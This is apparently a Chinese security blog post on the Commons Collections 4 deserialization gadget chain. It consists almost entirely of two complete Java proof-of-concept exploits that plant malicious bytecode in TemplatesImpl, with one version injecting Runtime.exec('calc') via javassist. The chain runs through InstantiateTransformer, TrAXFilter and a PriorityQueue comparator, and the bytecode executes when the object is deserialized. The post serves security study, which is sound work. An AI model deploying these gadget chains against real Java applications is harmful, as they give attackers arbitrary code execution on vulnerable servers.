Commons Collections4
2022-08-10 01:37:36 # 代码审计 # Java安全

相较于前面的 cc 链，多的是一个版本的更新

之前都是 3.2.1

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<dependency>
        <groupId>org.apache.commons</groupId>
         <artifactId>commons-collections4</artifactId>
         <version>4.0</version>
</dependency>

cc4 是 cc3 和 cc2 的组合

那前面的前置知识就不做介绍了

poc：

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package main.java;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class cc4{
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();
        //name字段
        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"ki10Moc");

        //恶意bytecode字段
        Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
        bytecodeFiled.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E://Code/JavaSecurityCode/cc3/target/classes/calc.class"));
        byte[][] codes = {code};
        bytecodeFiled.set(templates,codes);


        //工厂类字段
        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl() {
        });

        //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{ Templates.class},new Object[]{templates});
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);
        serialize(priorityQueue);
        unserialioze("ser.bin");
    }





    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialioze(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
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package main.java;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class test {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}
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2022-08-10 01:37:36 # 代码审计 # Java安全
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